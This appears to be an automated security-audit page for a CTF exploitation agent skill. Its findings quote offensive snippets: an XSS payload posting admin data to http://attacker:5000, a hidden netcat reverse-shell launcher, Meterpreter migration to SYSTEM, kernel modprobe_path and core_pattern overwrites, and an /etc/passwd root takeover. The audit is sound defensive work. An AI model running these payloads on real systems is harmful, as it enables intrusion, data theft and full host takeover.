Back to skill

Security audit

Ctf Pwn

Security checks for vulnerabilities and agentic risk

Overview

This is a CTF exploitation reference skill, but it contains operational reverse-shell, privilege-escalation, data-exfiltration, and system-file modification guidance without strong lab-only guardrails.

Install only for controlled CTF or disposable lab use. Do not let an agent run the examples against real systems, production browsers, personal files, or hosts where you lack explicit authorization; use an isolated VM/container and review package installs first.

Vulnerability Patterns
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
  • Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
  • Insecure DependenciesIntroduces malicious components through unsafe dependency sources
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
Findings (7)

other

Error
Location
advanced-exploits-2.md:479
Finding
Privileged Browser Data Exfiltration to an Attacker-Controlled Server<![CDATA[ ## Vulnerability Details **File Location**: `advanced-exploits-2.md`, lines 479-487 **Vulnerability Type**: Explicit network exfiltration through stored XSS **Risk Level**: High ### Code Snippet ```javascript // Stage 1: trigger heap commands, exfiltrate leak var res = await fetch("/api/canvas/get/1"); var data = await res.json(); await fetch('http://attacker:5000/', { method: 'POST', mode: 'no-cors', body: JSON.stringify({"pixels": btoa(JSON.stringify(data.pixels))}) }); ``` ### Technical Analysis The documented payload executes in an administrator's browser, reads data from a same-origin privileged API, Base64-encodes the response, and transmits it to an attacker-controlled HTTP endpoint. Base64 is not itself encryption, but here it is used to package data for exfiltration. The administrator browser acts as a confused deputy: it can access localhost-restricted or authenticated resources that are unavailable to the external attacker. The `no-cors` setting does not prevent transmission; it merely prevents the script from reading the cross-origin response. This behavior exceeds the minimum privilege needed to explain a memory-corruption technique because it explicitly exports privileged data to external infrastructure. ### Attack Path 1. Submit a stored XSS payload through the public application interface. 2. Wait for an administrator or administrative bot to visit the affected page. 3. Execute JavaScript under the application's authenticated origin. 4. Request `/api/canvas/get/1` using the administrator's browser context. 5. Serialize and Base64-encode the returned data. 6. send the encoded data to `http://attacker:5000/`. 7. Use the disclosed heap or memory information to calculate addresses for subsequent exploitation. ### Impact Assessment An attacker can disclose data available only to an authenticated administrator or localhost client. In the documented chain, the disclosed information includes memory-related data used to defeat ...[truncated 250 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Remove the external exfiltration example and replace it with a local mock receiver that records only synthetic test data. - Do not use attacker-controlled Internet endpoints in Skill examples. - Require explicit authorization and a documented target scope before issuing network requests. - Restrict demonstrations to disposable CTF or laboratory environments. - Use placeholder values that cannot resolve externally, such as an isolated test-domain endpoint. - Add a clear prohibition against collecting credentials, tokens, personal data, or unrelated host information. - For the underlying application, remove unsafe template rendering, enforce contextual output encoding, deploy a restrictive Content Security Policy, and validate all data forwarded to native processes. ]]>

T04 · Embedded Malicious Code

Error
Location
advanced-exploits-4.md:54
Finding
Embedded Detached Netcat Reverse-Shell Launcher<![CDATA[ ## Vulnerability Details **File Location**: `advanced-exploits-4.md`, lines 54-65 **Vulnerability Type**: Embedded reverse-shell payload **Risk Level**: Critical ### Code Snippet ```c // i686-w64-mingw32-gcc launcher.c -o launcher.exe -static #include <windows.h> int main() { STARTUPINFOA si = {0}; PROCESS_INFORMATION pi = {0}; si.cb = sizeof(si); CreateProcessA(NULL, "C:\\shared\\nc.exe ATTACKER 9002 -e cmd.exe", NULL, NULL, FALSE, CREATE_NEW_PROCESS_GROUP | DETACHED_PROCESS | CREATE_NO_WINDOW, NULL, NULL, &si, &pi); return 0; } ``` ### Technical Analysis The example launches Netcat with `-e cmd.exe`, connecting a Windows command interpreter to an attacker-controlled host. The process is created with `CREATE_NEW_PROCESS_GROUP`, `DETACHED_PROCESS`, and `CREATE_NO_WINDOW`, making the shell hidden and independent of the exploited service thread. The documentation expressly presents detachment as a way to preserve shell stability after exploitation. This is an operational remote-access payload rather than a benign crash or marker-file proof of code execution. The source is contained in Markdown and is not automatically compiled or executed when the Skill is loaded. It becomes active when an agent or user copies, compiles, and runs it. ### Attack Path 1. Exploit the target's memory-corruption vulnerability. 2. Obtain execution in the vulnerable Windows process. 3. Transfer or compile the supplied launcher. 4. Start the launcher from the compromised process. 5. The launcher executes `nc.exe ATTACKER 9002 -e cmd.exe`. 6. Netcat connects to the attacker and exposes an interactive command shell. 7. Detachment keeps the child process alive if the original service thread terminates. ### Impact Assessment Successful use provides remote command execution with the privileges of the compromised Windows process. If the service runs under a privileged account, the reverse shell inherits that authority. It can expose fi ...[truncated 111 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Remove `nc.exe -e cmd.exe` and all hidden or detached reverse-shell examples. - Demonstrate code execution with a harmless local action, such as writing a fixed marker to a laboratory directory. - Do not use process-creation flags intended to conceal or preserve an unauthorized shell. - If network behavior is essential to a controlled exercise, use an isolated loopback-only mock service without command execution. - Add explicit authorization, target allowlisting, and disposable-environment requirements. - Ensure agents cannot compile or execute embedded exploit code without a separate, user-confirmed action. ]]>

T05 · Unauthorized Access and Privilege Escalation

Error
Location
advanced-exploits-4.md:73
Finding
SeDebugPrivilege Abuse for Injection into a SYSTEM Process<![CDATA[ ## Vulnerability Details **File Location**: `advanced-exploits-4.md`, lines 73-90 **Vulnerability Type**: Windows process injection and privilege escalation **Risk Level**: Critical ### Code Snippet ```text ## SeDebugPrivilege to SYSTEM (RainbowTwo HTB) Exploits `SeDebugPrivilege` to escalate to SYSTEM by migrating into a SYSTEM-owned process. The privilege allows debugging any process, even if listed as "Disabled" -- Meterpreter enables it automatically before use. **Steps:** 1. Upload Meterpreter payload and obtain a session 2. Migrate into a SYSTEM-level process: meterpreter > migrate -N winlogon.exe meterpreter > getuid # NT AUTHORITY\SYSTEM ``` The accompanying text states that Meterpreter injects a DLL into targets such as `winlogon.exe` or `lsass.exe`. ### Technical Analysis `SeDebugPrivilege` permits a process to open and manipulate processes owned by other users. The supplied workflow uses Meterpreter migration to inject into a SYSTEM-owned process and execute with its security token. This crosses a strong operating-system privilege boundary. It is not necessary merely to analyze a binary or prove that an isolated CTF process is vulnerable. Targeting `winlogon.exe` or `lsass.exe` also risks system instability and access to highly sensitive authentication material. ### Attack Path 1. Gain an initial Meterpreter session on the target. 2. Enumerate process privileges and identify `SeDebugPrivilege`. 3. Enable the privilege through Meterpreter. 4. Select a SYSTEM-owned process such as `winlogon.exe`. 5. Use `migrate -N winlogon.exe` to inject Meterpreter into that process. 6. Inherit the target process's SYSTEM security context. 7. Execute commands and access resources as `NT AUTHORITY\SYSTEM`. ### Impact Assessment The resulting session has SYSTEM-level control over the Windows host. This permits access to protected files and processes, security-control modification, credential access, creation of additional accounts or services, and ...[truncated 34 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Remove operational Meterpreter upload and migration instructions. - Replace process injection with a non-invasive privilege-enumeration example in an isolated Windows laboratory. - Do not recommend targeting sensitive processes such as `lsass.exe` or `winlogon.exe`. - Require explicit authorization and a disposable virtual machine before any privilege-escalation demonstration. - On defended systems, remove `SeDebugPrivilege` from service accounts unless strictly required. - Monitor privileged process-handle access, remote-thread creation, and unexpected DLL loading in SYSTEM processes. - Use Protected Process Light and credential-isolation controls where supported. ]]>

T05 · Unauthorized Access and Privilege Escalation

Error
Location
kernel.md:388
Finding
Kernel modprobe_path Overwrite for Root Script Execution<![CDATA[ ## Vulnerability Details **File Location**: `kernel.md`, lines 388-419 **Vulnerability Type**: Kernel-level privilege escalation **Risk Level**: Critical ### Code Snippet ```bash # 1. Write evil script echo '#!/bin/sh' > /tmp/evil.sh echo 'cat /flag > /tmp/output' >> /tmp/evil.sh echo 'chmod 777 /tmp/output' >> /tmp/evil.sh chmod +x /tmp/evil.sh # 2. Overwrite modprobe_path with "/tmp/evil.sh" using your AAW primitive # 3. Create and execute a malformed binary (non-printable first 4 bytes) echo -ne '\xff\xff\xff\xff' > /tmp/trigger chmod +x /tmp/trigger /tmp/trigger # 4. Read the flag cat /tmp/output ``` ### Technical Analysis The technique assumes an arbitrary kernel-address write and uses it to replace the global `modprobe_path` value with the path of an attacker-controlled script. Executing a malformed binary causes the kernel's module-loading path to invoke that script as root when `CONFIG_STATIC_USERMODEHELPER` does not prevent the behavior. The script copies a protected flag into a world-readable file. The same primitive could execute arbitrary root commands, not only read a CTF flag. ### Attack Path 1. Exploit a kernel vulnerability to obtain an arbitrary-address-write primitive. 2. Create an executable attacker-controlled shell script. 3. Overwrite the kernel's `modprobe_path` with the script path. 4. Create a malformed executable whose initial bytes do not match a supported binary format. 5. Execute the malformed file. 6. Cause the kernel to request a binary-format module. 7. Have the kernel run the substituted script with root authority. 8. Read the protected output or perform other root operations. ### Impact Assessment Successful exploitation gives effective root command execution and compromises the entire guest or host kernel environment. The attacker can read protected files, alter credentials, disable security controls, manipulate devices, and install additional persistence. The instructions are framed as CTF material, but ...[truncated 94 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Remove directly executable root-script and trigger commands from the Skill. - Explain the mechanism using pseudocode and synthetic addresses rather than operational shell commands. - Restrict kernel experiments to disposable virtual machines with no host filesystem sharing or production credentials. - Require explicit confirmation before compiling or running kernel exploits. - Enable `CONFIG_STATIC_USERMODEHELPER` where appropriate. - Restrict unprivileged access to vulnerable devices and reduce exposed kernel attack surface. - Restore `modprobe_path` and destroy the test VM after an authorized exercise. ]]>

T05 · Unauthorized Access and Privilege Escalation

Error
Location
kernel.md:460
Finding
core_pattern Overwrite Creates a Reusable Root Execution Trigger<![CDATA[ ## Vulnerability Details **File Location**: `kernel.md`, lines 460-477 **Vulnerability Type**: Privileged execution and system-state persistence **Risk Level**: Critical ### Code Snippet ```bash # core_pattern with pipe: first char '|' means execute as command # Overwrite core_pattern to: "|/tmp/evil.sh" # Then crash a process to trigger ``` The document further instructs the user to locate the internal `core_pattern` address through kernel debugging and explains that crashing a process invokes the substituted command as root. ### Technical Analysis Linux interprets a `core_pattern` beginning with `|` as a command to run when a process dumps core. Overwriting the kernel variable with `|/tmp/evil.sh` converts ordinary process crashes into privileged script-execution events. Unlike a one-time control-flow hijack, the modified handler remains an available root-execution trigger until the value is restored or the system is rebooted. This makes the technique both a privilege escalation and a form of system-state persistence. ### Attack Path 1. Obtain a kernel arbitrary-write primitive. 2. Resolve the address of the internal `core_pattern` variable. 3. Write `|/tmp/evil.sh` into the variable. 4. Place an attacker-controlled executable script at `/tmp/evil.sh`. 5. Deliberately crash any process eligible to generate a core dump. 6. Have the kernel invoke the configured pipe handler as root. 7. Repeat the crash trigger while the altered setting remains active. ### Impact Assessment The attacker receives reusable root-level command execution. The altered handler affects system-wide crash handling and can compromise unrelated processes. It can disclose protected data, modify security settings, or install longer-lived persistence mechanisms. ]]>
Remediation
<![CDATA[ ## Remediation Suggestions - Remove the operational pipe-command value and root-script trigger from the Skill. - Use a harmless, non-privileged simulator to explain core-dump handler behavior. - Restrict kernel exploitation to disposable, isolated virtual machines. - Restore `core_pattern` immediately after an authorized test and verify that no attacker-controlled handler remains. - Monitor changes to `/proc/sys/kernel/core_pattern`. - Limit kernel arbitrary-write exposure by restricting vulnerable device access and promptly patching affected modules. - Prevent untrusted users from controlling scripts or paths referenced by privileged crash handlers. ]]>

T05 · Unauthorized Access and Privilege Escalation

Error
Location
sandbox-escape.md:38
Finding
Root Account Takeover Through /etc/passwd Modification<![CDATA[ ## Vulnerability Details **File Location**: `sandbox-escape.md`, lines 38-81 **Vulnerability Type**: Authentication-file modification and local privilege escalation **Risk Level**: Critical ### Code Snippet ```bash # Change /etc/passwd permissions via custom device echo "b4ckd00r:/etc/passwd:511" > /dev/backdoor # 511 decimal = 0777 octal (rwx for all) # Now modify passwd to get root echo "root::0:0:root:/root:/bin/sh" > /etc/passwd su root ``` The same section recommends targeting `/etc/passwd`, `/etc/shadow`, or `/etc/sudoers` from a restricted environment. ### Technical Analysis The documented CUSE/FUSE handler accepts a path and mode from an unprivileged writer and calls `chmod` under the daemon's root authority. The example makes `/etc/passwd` world-writable, replaces its root entry with a passwordless account, and invokes `su root`. This abuses a privileged device daemon as a confused deputy and directly compromises the host authentication database. It exceeds the least privilege needed to demonstrate a device-handler vulnerability. ### Attack Path 1. Identify a writable CUSE/FUSE character device backed by a root daemon. 2. Send a crafted command naming `/etc/passwd` and mode `511` decimal. 3. Cause the privileged daemon to apply mode `0777` to `/etc/passwd`. 4. Replace the root account entry with one containing an empty password field. 5. Run `su root`. 6. Obtain an unrestricted root shell. ### Impact Assessment The technique provides complete local root compromise and damages a central authentication file. It can lock out legitimate users, permit passwordless root access, affect services that parse the file, and facilitate additional persistence or lateral movement. ]]>
Remediation
<![CDATA[ ## Remediation Suggestions - Replace references to real authentication files with disposable fixture files inside a test container. - Remove commands that overwrite root account records or modify `/etc/shadow` and `/etc/sudoers`. - Run FUSE/CUSE daemons with a dedicated unprivileged account and the smallest possible capability set. - Validate requested paths against a strict allowlist and reject absolute paths, traversal, and symlink escapes. - Do not expose arbitrary `chmod`, ownership, read, or write operations through device command interfaces. - Ensure system authentication files remain root-owned and non-writable by other users. - Audit and alert on permission or content changes to authentication databases. ]]>

T08 · Insecure Dependencies

Warning
Location
SKILL.md:19
Finding
Unpinned Third-Party Tool Installation<![CDATA[ ## Vulnerability Details **File Location**: `SKILL.md`, lines 19-38 **Vulnerability Type**: Uncontrolled dependency installation **Risk Level**: Medium ### Code Snippet ```bash pip install pwntools ropper ROPgadget ``` ```bash apt install gdb binutils strace ltrace qemu-system-x86 ``` ```bash brew install gdb binutils qemu ``` ```bash gem install one_gadget seccomp-tools ``` ```text pwndbg — Linux: GitHub, macOS: brew install pwndbg/tap/pwndbg-gdb ``` ### Technical Analysis The setup instructions install tools without version pins, package hashes, lockfiles, registry restrictions, or a mandatory isolated environment. Package installation can execute setup hooks and transitive dependency code with the invoking user's permissions. No evidence was found that the named packages are intentionally malicious. The risk arises from non-reproducible resolution, future upstream compromise, dependency confusion, compromised package registries, or unexpected transitive dependency changes. The declared compatibility also grants Internet access and broad shell capability, increasing the consequences of an unsafe dependency installation. ### Attack Path 1. An agent follows the prerequisite instructions. 2. A package manager resolves the latest available versions and transitive dependencies. 3. A compromised or substituted package is downloaded from an uncontrolled source. 4. Installation hooks execute on the agent host. 5. The malicious dependency gains the invoking user's filesystem and network access. ### Impact Assessment A compromised package could execute arbitrary code, access project files, modify the local environment, or transmit data using the agent's network access. Impact depends on whether installation occurs as an ordinary user, inside a container, or with administrative privileges. ]]>
Remediation
<![CDATA[ ## Remediation Suggestions - Pin every dependency to a reviewed version. - Use hash verification and lockfiles for Python and Ruby dependencies. - Install Python packages in a dedicated virtual environment and Ruby tools in an isolated bundle. - Prefer a reviewed, versioned container image for the complete exploitation toolchain. - Restrict package downloads to approved registries and mirrors. - Avoid running package managers with root or administrator privileges. - Record provenance and checksums for manually downloaded tools. - Regularly scan direct and transitive dependencies for known vulnerabilities and unexpected ownership changes. ]]>
Vulnerability Patterns
  • YARA SignaturesMalware Match, Webshell Match, Cryptominer Match
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Findings (81)

YARA rule 'c2_framework_indicators': Command-and-control framework indicators (Cobalt Strike, Metasploit, Sliver, etc.) [malware]

Critical
Category
YARA Match
Content
SEH (Structured Exception Handler) overwrite with stack pivot to ROP chain. `pushad` builds VirtualAlloc call frame for DEP (Data Execution Prevention) bypass. Detached process launcher for shell stability on thread-based servers. See [advanced-exploits-4.md](advanced-exploits-4.md#windows-seh-overwrite-pushad-virtualalloc-rop-rainbowtwo-htb).

## SeDebugPrivilege → SYSTEM

`SeDebugPrivilege` + Meterpreter `migrate -N winlogon.exe` -> SYSTEM. See [advanced-exploits-4.md](advanced-exploits-4.md#sedebugprivilege-to-system-rainbowtwo-htb).

## mmap/munmap Size Mismatch UAF (0CTF 2017)

Over-unmap via mmap(small)/munmap(large) destroys adjacent mappings. Thread stack fills gap, old buffer pointer becomes write-into-stack. Race-free UAF variant. See [advanced-exploits-4.md](advanced-exploits-4.md#mmapmunmap-size-mismatch-uaf-for-thread-stack-overlap-0ctf-2017).

## strcspn Indirect Null Byte Injection (BSidesSF 2017)

`strcspn(buf, "\r\n")` + null write truncates strings at injected newli
Confidence
98% confidence
Finding
The Meterpreter reference appears in a privilege-escalation workflow (`SeDebugPrivilege` to SYSTEM via migration into `winlogon.exe`), which is strongly associated with post-exploitation on real Windows hosts. In this context, it is a concrete offensive tradecraft indicator rather than an accidental keyword match.

YARA rule 'c2_framework_indicators': Command-and-control framework indicators (Cobalt Strike, Metasploit, Sliver, etc.) [malware]

Critical
Category
YARA Match
Content
the correct value, `pushad` builds the entire STDCALL function call frame in the exact order Windows expects. This avoids the need for `mov [esp+N], reg` gadgets which are rare.

---

## SeDebugPrivilege to SYSTEM (RainbowTwo HTB)

Exploits `SeDebugPrivilege` to escalate to SYSTEM by migrating into a SYSTEM-owned process. The privilege allows debugging any process, even if listed as "Disabled" -- Meterpreter enables it automatically before use.

**Steps:**
1. Upload Meterpreter payload and obtain a session
2. Migrate into a SYSTEM-level process:
```text
meterpreter > migrate -N winlogon.exe
meterpreter > getuid
# NT AUTHORITY\SYSTEM
```

Meterpreter's `migrate` injects a DLL into the target process (`winlogon.exe`, `lsass.exe`), running code as that process's user (SYSTEM).

**Detection:** `whoami /priv` shows `SeDebugPrivilege`. Common on service accounts and `NT AUTHORITY\SERVICE`.

**Key insight:** Always run `whoami /priv` after landing a Windows shell. `SeDebugPrivilege` -- even w
Confidence
99% confidence
Finding
This section gives direct guidance for using Meterpreter to migrate into SYSTEM-owned processes via SeDebugPrivilege, which is a post-exploitation tradecraft pattern strongly associated with real intrusions. In a skill available to an agent, this enables concrete privilege-escalation assistance and process injection guidance with immediate offensive utility.

Ae1

High
Category
analysis-evasion
Content
- [overflow-basics.md](overflow-basics.md) - Stack/global buffer overflow, ret2win, canary bypass, canary byte-by-byte brute force on forking servers, struct po
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
- [overflow-basics.md](overflow-basics.md) - Stack/global buffer overflow, ret2win, canary bypass, canary byte-by-byte brute force on forking servers, struct po
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
- [overflow-basics.md](overflow-basics.md) - Stack/global buffer overflow, ret2win, canary bypass, canary byte-by-byte brute force on forking servers, struct po
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
- [overflow-basics.md](overflow-basics.md) - Stack/global buffer overflow, ret2win, canary bypass, canary byte-by-byte brute force on forking servers, struct po
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
- [overflow-basics.md](overflow-basics.md) - Stack/global buffer overflow, ret2win, canary bypass, canary byte-by-byte brute force on forking servers, struct po
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
- [overflow-basics.md](overflow-basics.md) - Stack/global buffer overflow, ret2win, canary bypass, canary byte-by-byte brute force on forking servers, struct po
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
- [overflow-basics.md](overflow-basics.md) - Stack/global buffer overflow, ret2win, canary bypass, canary byte-by-byte brute force on forking servers, struct po
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
- [overflow-basics.md](overflow-basics.md) - Stack/global buffer overflow, ret2win, canary bypass, canary byte-by-byte brute force on forking servers, struct po
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
- [overflow-basics.md](overflow-basics.md) - Stack/global buffer overflow, ret2win, canary bypass, canary byte-by-byte brute force on forking servers, struct po
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
- [format-string.md](format-string.md) - Format string exploitation (leaks, GOT overwrite, blind pwn, filter bypass, canary leak, __free_hook, .rela.plt patchin
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
- [format-string.md](format-string.md) - Format string exploitation (leaks, GOT overwrite, blind pwn, filter bypass, canary leak, __free_hook, .rela.plt patchin
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
- [format-string.md](format-string.md) - Format string exploitation (leaks, GOT overwrite, blind pwn, filter bypass, canary leak, __free_hook, .rela.plt patchin
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
- [format-string.md](format-string.md) - Format string exploitation (leaks, GOT overwrite, blind pwn, filter bypass, canary leak, __free_hook, .rela.plt patchin
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
- [format-string.md](format-string.md) - Format string exploitation (leaks, GOT overwrite, blind pwn, filter bypass, canary leak, __free_hook, .rela.plt patchin
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
- [format-string.md](format-string.md) - Format string exploitation (leaks, GOT overwrite, blind pwn, filter bypass, canary leak, __free_hook, .rela.plt patchin
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
- [advanced-exploits.md](advanced-exploits.md) - Advanced exploit techniques (part 1): VM signed comparison, BF JIT shellcode, type confusion, off-by-one index
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
- [advanced-exploits.md](advanced-exploits.md) - Advanced exploit techniques (part 1): VM signed comparison, BF JIT shellcode, type confusion, off-by-one index
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
- [advanced-exploits-3.md](advanced-exploits-3.md) - Advanced exploit techniques (part 3): stack variable overlap / carry corruption OOB, 1-byte overflow via 8-
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
- [advanced-exploits-3.md](advanced-exploits-3.md) - Advanced exploit techniques (part 3): stack variable overlap / carry corruption OOB, 1-byte overflow via 8-
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
- [advanced-exploits-3.md](advanced-exploits-3.md) - Advanced exploit techniques (part 3): stack variable overlap / carry corruption OOB, 1-byte overflow via 8-
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
- [advanced-exploits-3.md](advanced-exploits-3.md) - Advanced exploit techniques (part 3): stack variable overlap / carry corruption OOB, 1-byte overflow via 8-
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
- [advanced-exploits-3.md](advanced-exploits-3.md) - Advanced exploit techniques (part 3): stack variable overlap / carry corruption OOB, 1-byte overflow via 8-
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Ae1

High
Category
analysis-evasion
Content
- [advanced-exploits-3.md](advanced-exploits-3.md) - Advanced exploit techniques (part 3): stack variable overlap / carry corruption OOB, 1-byte overflow via 8-
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Static analysis

No suspicious patterns detected.